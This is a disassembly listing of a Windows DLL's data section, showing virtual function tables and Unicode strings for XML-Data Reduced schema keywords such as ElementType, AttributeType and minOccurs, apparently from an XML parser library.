		dd offset sub_69B3F4F7
		dd offset sub_69B3F4FF
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B3F585
		dd offset nullsub_6
		dd offset sub_69B3D28C
off_69B12440	dd offset loc_69B3F4A3	; DATA XREF: sub_69B1BCE3+2Fo
					; sub_69B3F305+20o
		dd offset loc_69B3F548
		dd offset loc_69B3F8E3
		dd offset loc_69B3F4AD
		dd offset loc_69B3F4B5
		dd offset loc_69B3F4BD
		dd offset loc_69B3F4C5
		dd offset loc_69B3F4CD
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B3F57D
		dd offset sub_69B3F552
		dd offset sub_69B3F6B0
		dd offset sub_69B3D73A
		dd offset sub_69B3F570
off_69B12488	dd offset sub_69B3F471	; DATA XREF: sub_69B1BCE3+29o
					; sub_69B3F305+1Ao
		dd offset sub_69B3F53E
		dd offset sub_69B3F8DC
		dd offset loc_69B3F47B
		dd offset sub_69B3F483
		dd offset sub_69B3F48B
		dd offset sub_69B3F493
		dd offset sub_69B3F49B
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B3F575
		dd offset sub_69B3D5E1
		dd offset sub_69B3F5CF
		dd offset sub_69B3DFBE
		dd offset sub_69B3F564
		dd offset sub_69B3F51A
aAttribute:				; DATA XREF: .text:69B5EB48o
					; sub_69B60C8B:loc_69B60FADo ...
		unicode	0, <attribute>,0
aElement:				; DATA XREF: sub_69B60C8B:loc_69B60FA3o
					; .text:69B61E78o ...
		unicode	0, <element>,0
off_69B124F8	dd offset sub_69B40F87	; DATA XREF: sub_69B437E7+1Ao
					; sub_69B4389D+6o
		dd offset sub_69B1F56C
		dd offset sub_69B40E6F
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B4107B
		dd offset sub_69B41180
		dd offset sub_69B41290
		dd offset sub_69B41434
		dd offset sub_69B41554
		dd offset sub_69B4122C
		dd offset sub_69B4167C
		dd offset sub_69B43D3C
		dd offset sub_69B4183C
		dd offset sub_69B418FC
		dd offset sub_69B419B4
		dd offset sub_69B41A7C
		dd offset sub_69B43C62
		dd offset sub_69B41BEC
		dd offset sub_69B41E9C
		dd offset sub_69B41D7C
		dd offset sub_69B40304
		dd offset sub_69B41B44
		dd offset sub_69B4213C
		dd offset sub_69B4202C
		dd offset sub_69B42F64
		dd offset sub_69B422B4
		dd offset sub_69B423AC
		dd offset sub_69B41774
		dd offset sub_69B421FC
		dd offset sub_69B4277B
		dd offset sub_69B42884
		dd offset sub_69B4297C
		dd offset sub_69B42A54
		dd offset sub_69B42E14
		dd offset sub_69B42B4C
		dd offset sub_69B42C6C
		dd offset sub_69B42D4C
		dd offset sub_69B42EC4
		dd offset sub_69B424B4
		dd offset sub_69B42594
		dd offset sub_69B42695
		dd offset sub_69B4311C
		align 8
off_69B125A8	dd offset sub_69B54E00	; DATA XREF: sub_69B4399D+Co
					; sub_69B55714+7o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B55934
		dd offset sub_69B55773
		dd offset sub_69B559BD
		dd offset sub_69B54DB1
		dd offset sub_69B54F74
		dd offset sub_69B55024
		dd offset sub_69B55483
		dd offset sub_69B550DC
		dd offset sub_69B5553C
		dd offset sub_69B55A48
		dd offset sub_69B5518C
		dd offset sub_69B55B8D
		dd offset sub_69B55C4C
		dd offset sub_69B55D24
		dd offset sub_69B5529C
		dd offset sub_69B365EB
		align 8
off_69B12608	dd offset sub_69B45E84	; DATA XREF: sub_69B44884+6o
					; sub_69B458D3+10o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B44A77
		dd offset sub_69B44B74
		dd offset sub_69B4595B
		dd offset sub_69B44C4C
		dd offset sub_69B44D54
		dd offset sub_69B44E64
		dd offset sub_69B45EDC
		dd offset sub_69B44F54
		dd offset sub_69B4506C
		dd offset sub_69B45174
		dd offset sub_69B4524C
		dd offset sub_69B4532C
		dd offset sub_69B45FDC
off_69B12658	dd offset sub_69B45E84	; DATA XREF: sub_69B455FC+6o
					; sub_69B45B61+10o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B4562A
		dd offset sub_69B45704
off_69B1267C	dd offset sub_69B43F50	; DATA XREF: sub_69B45A4C+8o
					; sub_69B45ACF+Ao
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B81D00
		dd offset sub_69B45404
		dd offset sub_69B45514
		dd offset sub_69B460C4
off_69B126A8	dd offset sub_69B46A42	; DATA XREF: sub_69B46944+6o
					; sub_69B47360+Ao
		dd offset sub_69B1F56C
		dd offset sub_69B47254
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B475B7
		dd offset sub_69B4662B
		dd offset sub_69B4678C
		dd offset sub_69B4778C
		dd offset sub_69B46D7D
		dd offset sub_69B46E4C
		dd offset sub_69B4789C
		dd offset sub_69B467AF
		dd offset sub_69B4793C
		dd offset sub_69B472C5
		dd offset sub_69B4664E
		dd offset sub_69B47A04
		dd offset sub_69B47AEC
		dd offset sub_69B4685C
off_69B126FC	dd offset sub_69B2D67E	; DATA XREF: sub_69B1A6EC+2Ao
					; sub_69B4DC7E+7o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B4DC63
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B4D1F0
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B4E20A
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B4DC19
off_69B12734	dd offset sub_69B448B2	; DATA XREF: sub_69B4EE6F+11o
					; sub_69B4EEA0+Ao
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B4EECB
		dd offset sub_69B4EF84
		dd offset sub_69B4EF9E
		dd offset sub_69B4F02C
		dd offset sub_69B4F0B4
off_69B12754	dd offset sub_69B448B2	; DATA XREF: sub_69B4F64F+16o
					; sub_69B4F7C4+7o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B4FA5E
		dd offset sub_69B4FC4C
		dd offset sub_69B4FCAC
		dd offset sub_69B4F4E7
		dd offset sub_69B4FDBC
off_69B12774	dd offset sub_69B448B2	; DATA XREF: sub_69B508C2o
					; sub_69B50B70+1Ao
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B505B4
		dd offset sub_69B505D7
		dd offset sub_69B50BB3
		dd offset sub_69B50EF2
		dd offset sub_69B510E3
off_69B12794	dd offset sub_69B50610	; DATA XREF: sub_69B508E5o
					; sub_69B50CCC+12o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B50F55
		dd offset sub_69B50D43
off_69B127A8	dd offset sub_69B448B2	; DATA XREF: sub_69B50908o
					; sub_69B50DC6+18o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B50E23
		dd offset sub_69B50666
		dd offset sub_69B50680
		dd offset sub_69B84A3B
off_69B127C4	dd offset sub_69B448B2	; DATA XREF: sub_69B50F99+6o
					; sub_69B51071+12o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B5092B
		dd offset sub_69B5068D
		dd offset sub_69B506B5
		dd offset sub_69B84A3B
off_69B127E0	dd offset sub_69B546C2	; DATA XREF: sub_69B549EC+Bo
					; sub_69B54ADC+Ao
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B54806
		dd offset sub_69B5491C
		dd offset sub_69B54A44
		dd offset sub_69B54A30
off_69B127FC	dd offset sub_69B56062	; DATA XREF: sub_69B56167+Fo
					; sub_69B56509+12o ...
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B561FC
		dd offset sub_69B5669F
		dd offset sub_69B55EAF
		dd offset sub_69B84A43
		dd offset sub_69B365EB
		dd offset sub_69B55F23
		dd offset sub_69B365F3
		dd offset sub_69B365EB
		dd offset sub_69B365EB
		dd offset sub_69B56301
		dd offset sub_69B84A3B
off_69B12834	dd offset sub_69B3B7BC	; DATA XREF: sub_69B5A06D+8o
					; sub_69B5A168o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B59F43
off_69B12854	dd offset sub_69B3B7BC	; DATA XREF: sub_69B5A7CD+Fo
					; sub_69B5A86B+7o
		dd offset sub_69B1F56C
		dd offset sub_69B7793E
		dd offset sub_69B5A0DE
		dd offset sub_69B3BB2E
		dd offset sub_69B7794D
		dd offset sub_69B3C310
		dd offset sub_69B5A234
		dd offset sub_69B5A51C
		dd offset sub_69B5A5FC
		dd offset sub_69B5A6D4
		dd offset sub_69B5A2F4
		dd offset sub_69B5A3AC
		dd offset sub_69B5A464
aMin:					; DATA XREF: .data:69B922F4o
		unicode	0, <min>,0
aMax:					; DATA XREF: .data:69B922F0o
		unicode	0, <max>,0
aMaxexclusive:				; DATA XREF: .data:69B922FCo
		unicode	0, <maxExclusive>,0
		align 4
aMinexclusive:				; DATA XREF: .data:69B922F8o
		unicode	0, <minExclusive>,0
		align 4
aMinlength:				; DATA XREF: .data:69B922ECo
		unicode	0, <minLength>,0
aMaxlength:				; DATA XREF: .data:69B922E8o
		unicode	0, <maxLength>,0
aExtends:				; DATA XREF: .data:69B922D8o
		unicode	0, <extends>,0
aDescription:				; DATA XREF: .data:69B922D4o
		unicode	0, <description>,0
aValues:				; DATA XREF: .data:69B922E4o
		unicode	0, <values>,0
		align 4
aRequiredvalue:				; DATA XREF: .data:69B922B4o
		unicode	0, <requiredValue>,0
aDefault_0:				; DATA XREF: .data:69B922B0o
		unicode	0, <default>,0
aDatatype:				; DATA XREF: .data:69B922D0o
		unicode	0, <datatype>,0
		align 4
aRequired:				; DATA XREF: .data:69B92280o
		unicode	0, <required>,0
		align 4
aAttributetype:				; DATA XREF: .data:69B922C8o
		unicode	0, <AttributeType>,0
aMany:					; DATA XREF: .data:69B9227Co
		unicode	0, <many>,0
		align 10h
aOne:					; DATA XREF: .data:69B92278o
		unicode	0, <one>,0
aSeq:					; DATA XREF: .data:69B92274o
		unicode	0, <seq>,0
aGrouporder:				; DATA XREF: .data:69B92270o
		unicode	0, <groupOrder>,0
		align 4
aGroup:					; DATA XREF: .data:69B922C4o
		unicode	0, <group>,0
aOrder:					; DATA XREF: .data:69B9226Co
		unicode	0, <order>,0
aTextonly:				; DATA XREF: .data:69B92268o
		unicode	0, <textOnly>,0
		align 4
aEltonly:				; DATA XREF: .data:69B92264o
		unicode	0, <eltOnly>,0
aMixed:					; DATA XREF: .data:69B9225Co
		unicode	0, <mixed>,0
aContent:				; DATA XREF: .data:69B92258o
		unicode	0, <content>,0
aClosed:				; DATA XREF: .data:69B92254o
		unicode	0, <closed>,0
		align 10h
aOpen:					; DATA XREF: .data:69B92250o
		unicode	0, <open>,0
		align 4
aModel:					; DATA XREF: .data:69B9224Co
		unicode	0, <model>,0
aElementtype:				; DATA XREF: .data:69B922BCo
		unicode	0, <ElementType>,0
aMinoccurs:				; DATA XREF: .data:69B92244o
		unicode	0, <minOccurs>,0
aMaxoccurs:				; DATA XREF: .data:69B92240o
		unicode	0, <maxOccurs>,0
aSchema_0:				; DATA XREF: .data:69B922B8o
					; .data:69B922DCo
		unicode	0, <Schema>,0
		align 4
dword_69B12AA8	dd 1, 2, 0FFFFFFFFh, 3,	5, 2, 4, 6, 0FFFFFFFFh,	7, 0FFFFFFFFh
					; DATA XREF: .data:69B96140o
					; .data:69B96180o
		dd 3, 5, 0FFFFFFFFh
off_69B12AE0	dd offset sub_69B448B2	; DATA XREF: sub_69B5CDA6+12o
					; sub_69B5CE3E+Fo
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B5CC64
		dd offset sub_69B5CCB0
		dd offset sub_69B5CCE6
		dd offset sub_69B5CD37
		dd offset sub_69B5CD56
off_69B12B00	dd offset sub_69B5D45C	; DATA XREF: sub_69B5D774+Do
					; sub_69B5D8D8+Ao
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B5D986
		dd offset sub_69B5D68C
		dd offset sub_69B8CB95
off_69B12B18	dd offset sub_69B448B2	; DATA XREF: sub_69B5E296+3o
					; sub_69B5E330+17o
		dd offset sub_69B18E45
		dd offset sub_69B19029
		dd offset sub_69B5E005
		dd offset sub_69B5E036
		dd offset sub_69B84A3B
off_69B12B30	dd offset loc_69B60B40	; DATA XREF: sub_69B5EFB0+3o
					; sub_69B625BC+Ao ...
		dd offset sub_69B5F004
		dd offset sub_69B5F04B
		dd offset sub_69B5F0A3
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B60B2D
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B62625
		dd offset sub_69B62F72
		dd offset sub_69B82AF4
		dd offset sub_69B63C59
		dd offset sub_69B63788
off_69B12B78	dd offset loc_69B60B40	; DATA XREF: sub_69B5F0BE+3o
					; sub_69B5FB10-A11o
		dd offset sub_69B5F004
		dd offset sub_69B5F04B
		dd offset sub_69B5F0BE
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B5EA90
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B5F117
		dd offset sub_69B5F12B
		dd offset sub_69B5F23C
		dd offset sub_69B60A82
		dd offset sub_69B5F881
off_69B12BC0	dd offset sub_69B65C47	; DATA XREF: sub_69B65445+19o
					; sub_69B6C869+17o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset loc_69B65488
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset loc_69B6548D
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B76F43
		dd offset sub_69B698CB
		dd offset sub_69B6860C
		dd offset sub_69B6C7A5
		dd offset sub_69B6860C
		dd offset sub_69B6C7E4
		dd offset sub_69B6C803
		dd offset sub_69B82AF4
		dd offset nullsub_6
		dd offset sub_69B6C906
		dd offset sub_69B6C809
off_69B12C20	dd offset loc_69B65C65	; DATA XREF: sub_69B65C0F+19o
					; sub_69B66761+28o
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B65CA3
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B65CAB
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B65CB3
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B66521
		dd offset sub_69B66558
		dd offset sub_69B66505
		dd offset sub_69B66598
		dd offset sub_69B66626
		dd offset sub_69B6CD8D
		dd offset sub_69B6CDE6
		dd offset sub_69B6C9D6
		dd offset sub_69B67AEA
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B66638
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B66717
		dd offset sub_69B66573
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset sub_69B65CD6
off_69B12CB8	dd offset sub_69B65C47	; DATA XREF: sub_69B65C0F+12o
					; sub_69B66761+21o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset loc_69B65C8B
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B65C93
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B65C9B
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B665E9
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B12D18	dd offset sub_69B6547B	; DATA XREF: sub_69B65C0F+Co
					; sub_69B66761+1Bo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B65F7D
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B664FF
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B66701
		dd offset sub_69B666E5
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B66657
		dd offset sub_69B66614
		dd offset sub_69B666EB
off_69B12D68	dd offset loc_69B65C65	; DATA XREF: sub_69B65D89+19o
					; sub_69B65E27+24o
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B65DCB
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B65DD3
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B65DE3
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B66521
		dd offset sub_69B65EC5
		dd offset sub_69B65924
		dd offset sub_69B65E77
		dd offset sub_69B66626
		dd offset sub_69B6CD8D
		dd offset sub_69B6CDE6
		dd offset sub_69B6C9D6
		dd offset sub_69B658C4
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B66638
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B65F4D
		dd offset sub_69B66573
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset sub_69B65CD6
off_69B12E00	dd offset sub_69B65C47	; DATA XREF: sub_69B65D89+12o
					; sub_69B65E27+1Do
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset loc_69B65DBB
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B65DC3
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B65DDB
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B665E9
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B12E60	dd offset sub_69B6547B	; DATA XREF: sub_69B65D89+Co
					; sub_69B65E27+17o
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B65F98
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B658B5
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B65A39
		dd offset sub_69B659B9
		dd offset sub_69B65B35
		dd offset sub_69B6597E
		dd offset sub_69B66021
		dd offset sub_69B658F2
		dd offset sub_69B659BF
off_69B12EB0	dd offset loc_69B65C65	; DATA XREF: sub_69B664E8-18Do
					; sub_69B6646A+19o
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B66380
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B66388
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B66398
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B6CC3B
		dd offset sub_69B6CCB6
		dd offset sub_69B66127
		dd offset sub_69B66080
		dd offset sub_69B6CA3F
		dd offset sub_69B663C1
		dd offset sub_69B6CDE6
		dd offset sub_69B6C9D6
		dd offset sub_69B66149
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B662DE
		dd offset sub_69B6CD55
		dd offset sub_69B65C39
		dd offset sub_69B6640A
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B12F48	dd offset sub_69B65C47	; DATA XREF: sub_69B664E8-194o
					; sub_69B6646A+12o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B66370
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B66378
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B66390
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B6CA4E
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B66091
off_69B12FA8	dd offset sub_69B6547B	; DATA XREF: sub_69B664E8-19Ao
					; sub_69B6646A+Co
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B66498
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B66072
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B660DF
		dd offset sub_69B6860C
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B663A0
		dd offset sub_69B6C9EA
		dd offset nullsub_3
off_69B12FF8	dd offset loc_69B65C65	; DATA XREF: sub_69B67A6D+25o
					; sub_69B67B17+26o ...
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B692E6
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B67AFF
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B67B0F
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B677CF
		dd offset sub_69B6CCB6
		dd offset sub_69B6787C
		dd offset sub_69B67960
		dd offset sub_69B6799B
		dd offset sub_69B6CD8D
		dd offset sub_69B677A5
		dd offset sub_69B6C9D6
		dd offset sub_69B67AEA
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B67BD2
		dd offset sub_69B6CD55
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B13090	dd offset sub_69B65C47	; DATA XREF: sub_69B67A6D+1Eo
					; sub_69B67B17+1Fo ...
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B67AEF
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B67AF7
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B65480
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B67B07
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B6778A
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B130F0	dd offset sub_69B6547B	; DATA XREF: sub_69B67A6D+18o
					; sub_69B67B17+19o ...
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B69319
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B67784
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B6C84F
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B678AC
		dd offset sub_69B677F8
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B67B5D
		dd offset sub_69B67BAE
		dd offset sub_69B679C0
off_69B13140	dd offset loc_69B65C65	; DATA XREF: sub_69B68013+34o
					; sub_69B684CA+1Bo
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B6809D
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B680A5
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B680AD
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B680BD
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B677CF
		dd offset sub_69B68121
		dd offset sub_69B67D9D
		dd offset sub_69B67DFD
		dd offset sub_69B6799B
		dd offset sub_69B6807B
		dd offset sub_69B68080
		dd offset sub_69B6C9D6
		dd offset sub_69B67E43
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B67E70
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B6848D
		dd offset sub_69B6814E
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B131D8	dd offset sub_69B65C47	; DATA XREF: sub_69B68013+2Do
					; sub_69B684CA+14o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B68085
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6808D
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B68095
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B680B5
		dd offset sub_69B6C9F1
		dd offset sub_69B65C43
		dd offset sub_69B6CA09
		dd offset sub_69B6C9FC
		dd offset sub_69B6C7E4
		dd offset sub_69B67D60
		dd offset sub_69B6CA9A
		dd offset sub_69B6CABD
		dd offset sub_69B6D044
		dd offset sub_69B6C809
off_69B13238	dd offset sub_69B6547B	; DATA XREF: sub_69B68013+27o
					; sub_69B684CA+Eo
		dd offset sub_69B17349
		dd offset sub_69B183AF
		dd offset sub_69B68513
		dd offset sub_69B1B57D
		dd offset nullsub_5
		dd offset sub_69B18278
		dd offset sub_69B67D4F
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B67D73
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B67F16
		dd offset sub_69B67EA8
		dd offset sub_69B6CAED
		dd offset sub_69B6CA6F
		dd offset sub_69B685ED
		dd offset sub_69B6816F
		dd offset sub_69B679C0
		dd offset sub_69B68134
		align 10h
off_69B13290	dd offset loc_69B65C65	; DATA XREF: sub_69B686B1-80o
					; sub_69B68658+19o
		dd offset loc_69B65C6F
		dd offset loc_69B65C79
		dd offset loc_69B6D37A
		dd offset loc_69B689CE
		dd offset loc_69B689D6
		dd offset loc_69B65C83
		dd offset loc_69B6864B
		dd offset sub_69B1B57D
		dd offset sub_69B2FABC
		dd offset sub_69B2F49D
		dd offset sub_69B2F559
		dd offset nullsub_5
		dd offset sub_69B68650
		dd offset sub_69B6CBEF
		dd offset sub_69B6CC18
		dd offset sub_69B6CC3B
		dd offset sub_69B6CCB6
		dd offset sub_69B6CD21
		dd offset sub_69B82AF4
		dd offset sub_69B6CA3F
		dd offset sub_69B6CD8D
		dd offset sub_69B6860F
		dd offset sub_69B6C9D6
		dd offset sub_69B6D410
		dd offset sub_69B6C983
		dd offset sub_69B6C995
		dd offset sub_69B6C9C6
		dd offset sub_69B6C9E3
		dd offset sub_69B6CEF4
		dd offset sub_69B6CF3A
		dd offset sub_69B6CFE2
		dd offset sub_69B6CD55
		dd offset sub_69B65C39
		dd offset sub_69B6CA26
		dd offset sub_69B65D2D
		dd offset sub_69B65CBB
		dd offset loc_69B65D1B
off_69B13328	dd offset sub_69B65C47	; DATA XREF: sub_69B686B1-87o
					; sub_69B68658+12o
		dd offset sub_69B65C51
		dd offset sub_69B65C5B
		dd offset sub_69B6D36A
		dd offset sub_69B76F3B
		dd offset sub_69B76F43
		dd offset sub_69B76F4B
		dd offset sub_69B6863E
